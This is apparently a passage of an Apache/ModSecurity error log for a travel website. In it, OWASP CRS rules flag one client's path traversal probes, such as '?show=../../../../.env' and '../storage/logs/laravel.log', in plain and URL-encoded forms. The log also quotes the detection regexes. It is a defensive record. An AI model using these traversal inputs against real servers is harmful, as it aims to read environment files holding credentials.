/?show=..%2F..%2F..%2F..%2F.env&junk=wQkmmyQLO6G1zWKlYVotTyVPRMxCQLUv2auwJe7NU6sV_xEJh1evlELiWCSC-80teb6T9KBqCOi3_mbxNdXjkX7r523qEJHHEvqJNgy5TWMzY6YXYw-ndcDUfHj2LRYWH8pqEP2MUryXIfKS4wZrHpaX43d_HAKOG5vkUroNLFWUMI4xueRpMQa23J8e_xfLkLC_ToCSTavY-qLZVgs3rvIjok5I9hOhumWx3VX45gVwmU2tV7draXKn3dVyL28bJlqvIcJZna6ciDLvms3RG-Ps&debug=TR24FZGABQ7XCOJAFMGR2JIYWQSQ4YKJF3A57C4OZDWIKAEXBYBRZNBO4PH4AUANXJM2XMTVVO26PGY3SIZPN7XA6HGRSCVT5DPVGRGP7RRN2JJMXZSDYLDCLOK3SPDI2RZ4..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkxHlOGcokz2QIwTTDAAAAAM"]
[Fri Jul 17 08:55:07.157343 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:show: ../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkxHlOGcokz2QIwTTDAAAAAM"]
[Fri Jul 17 08:55:07.157391 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?show=../../../../.env&junk=wQkmmyQLO6G1zWKlYVotTyVPRMxCQLUv2auwJe7NU6sV_xEJh1evlELiWCSC-80teb6T9KBqCOi3_mbxNdXjkX7r523qEJHHEvqJNgy5TWMzY6YXYw-ndcDUfHj2LRYWH8pqEP2MUryXIfKS4wZrHpaX43d_HAKOG5vkUroNLFWUMI4xueRpMQa23J8e_xfLkLC_ToCSTavY-qLZVgs3rvIjok5I9hOhumWx3VX45gVwmU2tV7draXKn3dVyL28bJlqvIcJZna6ciDLvms3RG-Ps&debug=TR24FZGABQ7XCOJAFMGR2JIYWQSQ4YKJF3A57C4OZDWIKAEXBYBRZNBO4PH4AUANXJM2XMTVVO26PGY3SIZPN7XA6HGRSCVT5DPVGRGP7RRN2JJMXZSDYLDCLOK3SPDI2RZ4UJOGB7ICEHYXLPIK..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkxHlOGcokz2QIwTTDAAAAAM"]
[Fri Jul 17 08:55:07.157417 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?show=../../../../.env&junk=wqkmmyqlo6g1zwklyvottyvprmxcqluv2auwje7nu6sv_xejh1evleliwcsc-80teb6t9kbqcoi3_mbxndxjkx7r523qejhhevqjngy5twmzy6yxyw-ndcdufhj2lrywh8pqep2muryxifks4wzrhpax43d_hakog5vkuronlfwumi4xuerpmqa23j8e_xflklc_tocstavy-qlzvgs3rvijok5i9hohumwx3vx45gvwmu2tv7draxkn3dvyl28bjlqvicjzna6cidlvms3rg-ps&debug=tr24fzgabq7xcojafmgr2jiywqsq4ykjf3a57c4ozdwikaexbybrznbo4ph4auanxjm2xmtvvo26pgy3sizpn7xa6hgrscvt5dpvgrgp7rrn2jjmxzsdyldclok3spdi2rz4ujogb7icehyxlpik..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkxHlOGcokz2QIwTTDAAAAAM"]
[Fri Jul 17 08:55:07.157441 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?show=..%2F..%2F..%2F.env&debug=rvAGIzTgRhaytIQMpKyLDKJe7D2CO5NKduAbgiBM1LmyRiy9Rpgqq5PgieRZU8LvvrBck0Yn1JQlzTqV0Xcn_x0P3dwUSvKMUBJZlGGSgPAX2cIgGRzCUN95OFXsCKzAN5TbxwiFr3AKzttPS9VmmFf5R-J6pSABuF42RkMBLc9S2hU2TpCDlTr2CPtZr1TXh1VEWX_owwmjjXraGm6dGnJkIZPckJUecTlalpZzMGNMgVP_d8R_hyT6JQApJhQF10nszXHD3PBnQmgI8cL_5ubd&ts=6F3FLSUOZ3FX6PCG5ODPCMZP6AMDF4BJEMKPA5FVYXXU2W2F3566O46XDMM4L2TQOTDHJDHG53QPZPYLRY72UCAFVIYJ7JNRTLALQLGGPOLQV2XSNVH6KWS5DS4UNKSAXSGHZLPSD3P..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBTQAAABs"]
[Fri Jul 17 08:55:07.157447 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:show: ../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkxHlOGcokz2QIwTTDAAAAAM"]
[Fri Jul 17 08:55:07.157475 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:show: ../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkxHlOGcokz2QIwTTDAAAAAM"]
[Fri Jul 17 08:55:07.157489 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:show: ../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBTQAAABs"]
[Fri Jul 17 08:55:07.157569 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?show=../../../.env&debug=rvAGIzTgRhaytIQMpKyLDKJe7D2CO5NKduAbgiBM1LmyRiy9Rpgqq5PgieRZU8LvvrBck0Yn1JQlzTqV0Xcn_x0P3dwUSvKMUBJZlGGSgPAX2cIgGRzCUN95OFXsCKzAN5TbxwiFr3AKzttPS9VmmFf5R-J6pSABuF42RkMBLc9S2hU2TpCDlTr2CPtZr1TXh1VEWX_owwmjjXraGm6dGnJkIZPckJUecTlalpZzMGNMgVP_d8R_hyT6JQApJhQF10nszXHD3PBnQmgI8cL_5ubd&ts=6F3FLSUOZ3FX6PCG5ODPCMZP6AMDF4BJEMKPA5FVYXXU2W2F3566O46XDMM4L2TQOTDHJDHG53QPZPYLRY72UCAFVIYJ7JNRTLALQLGGPOLQV2XSNVH6KWS5DS4UNKSAXSGHZLPSD3P7GUKSWSUKXBPYJ..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBTQAAABs"]
[Fri Jul 17 08:55:07.157644 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?show=../../../.env&debug=rvagiztgrhaytiqmpkyldkje7d2co5nkduabgibm1lmyriy9rpgqq5pgierzu8lvvrbck0yn1jqlztqv0xcn_x0p3dwusvkmubjzlggsgpax2ciggrzcun95ofxsckzan5tbxwifr3akzttps9vmmff5r-j6psabuf42rkmblc9s2hu2tpcdltr2cptzr1txh1vewx_owwmjjxragm6dgnjkizpckjuectlalpzzmgnmgvp_d8r_hyt6jqapjhqf10nszxhd3pbnqmgi8cl_5ubd&ts=6f3flsuoz3fx6pcg5odpcmzp6amdf4bjemkpa5fvyxxu2w2f3566o46xdmm4l2tqotdhjdhg53qpzpylry72ucafviyj7jnrtlalqlggpolqv2xsnvh6kws5ds4unksaxsghzlpsd3p7gukswsukxbpyj..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBTQAAABs"]
[Fri Jul 17 08:55:07.157693 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:show: ../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBTQAAABs"]
[Fri Jul 17 08:55:07.157735 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:show: ../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBTQAAABs"]
[Fri Jul 17 08:55:07.158733 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkxHlOGcokz2QIwTTDAAAAAM"]
[Fri Jul 17 08:55:07.158885 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.159222 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkxHlOGcokz2QIwTTDAAAAAM"]
[Fri Jul 17 08:55:07.159378 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBTQAAABs"]
[Fri Jul 17 08:55:07.159526 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.159926 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk6quHSHoCJK_V0SBTQAAABs"]
[Fri Jul 17 08:55:07.163728 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:show: ../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUXwAAABI"]
[Fri Jul 17 08:55:07.163786 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:show: ../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUXwAAABI"]
[Fri Jul 17 08:55:07.164998 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUXwAAABI"]
[Fri Jul 17 08:55:07.165164 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.165487 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk11_86A5R6msWNfUXwAAABI"]
[Fri Jul 17 08:55:07.172746 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?show=..%2F..%2F..%2F..%2F..%2F.env&debug=J0N4gwH6cr7VPMRBZ9EX433l3Q7GKhTARA6kegYha-t_9IT_DBeouAtPbLviwZQm-zDJh_it8yCuyqUyW22V-DiaI0oWNxL8yBWmi-S3Q5AN-7bO65ExCX571r7FJFxNx3X-LSjnS0O9l78GzpaaKj2xnMtn3W_YGpS62ubQiWpytw_4uyD9yLq57GCC-d1uzm4qunCGX-GLVX5Ufgp080FMzwNgaMYX25YtBb7lzaj0bIV8dUwlNqAFHaINeJDtt8GLGNHbIVo-iHyuMUY1MP1g&anything=H6CX5HD6RXSP7T2HB6PHMVNAIN6RVRGCD567CT4OQK54NQMYRPZZCUIOTKJS77ASTTIVJIERJ6CEFG3S76VNBV4X235A5OWK5SNW4BQ466WKRUAXHPPXFVJY2WH..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95qQAAAAw"]
[Fri Jul 17 08:55:07.172794 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:show: ../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95qQAAAAw"]
[Fri Jul 17 08:55:07.172850 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?show=../../../../../.env&debug=J0N4gwH6cr7VPMRBZ9EX433l3Q7GKhTARA6kegYha-t_9IT_DBeouAtPbLviwZQm-zDJh_it8yCuyqUyW22V-DiaI0oWNxL8yBWmi-S3Q5AN-7bO65ExCX571r7FJFxNx3X-LSjnS0O9l78GzpaaKj2xnMtn3W_YGpS62ubQiWpytw_4uyD9yLq57GCC-d1uzm4qunCGX-GLVX5Ufgp080FMzwNgaMYX25YtBb7lzaj0bIV8dUwlNqAFHaINeJDtt8GLGNHbIVo-iHyuMUY1MP1g&anything=H6CX5HD6RXSP7T2HB6PHMVNAIN6RVRGCD567CT4OQK54NQMYRPZZCUIOTKJS77ASTTIVJIERJ6CEFG3S76VNBV4X235A5OWK5SNW4BQ466WKRUAXHPPXFVJY2WHJJSNTJRZD6IIHA2DSY..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95qQAAAAw"]
[Fri Jul 17 08:55:07.172877 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?show=../../../../../.env&debug=j0n4gwh6cr7vpmrbz9ex433l3q7gkhtara6kegyha-t_9it_dbeouatpblviwzqm-zdjh_it8ycuyquyw22v-diai0ownxl8ybwmi-s3q5an-7bo65excx571r7fjfxnx3x-lsjns0o9l78gzpaakj2xnmtn3w_ygps62ubqiwpytw_4uyd9ylq57gcc-d1uzm4quncgx-glvx5ufgp080fmzwngamyx25ytbb7lzaj0biv8duwlnqafhainejdtt8glgnhbivo-ihyumuy1mp1g&anything=h6cx5hd6rxsp7t2hb6phmvnain6rvrgcd567ct4oqk54nqmyrpzzcuiotkjs77asttivjierj6cefg3s76vnbv4x235a5owk5snw4bq466wkruaxhppxfvjy2whjjsntjrzd6iiha2dsy..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95qQAAAAw"]
[Fri Jul 17 08:55:07.172897 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:show: ../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95qQAAAAw"]
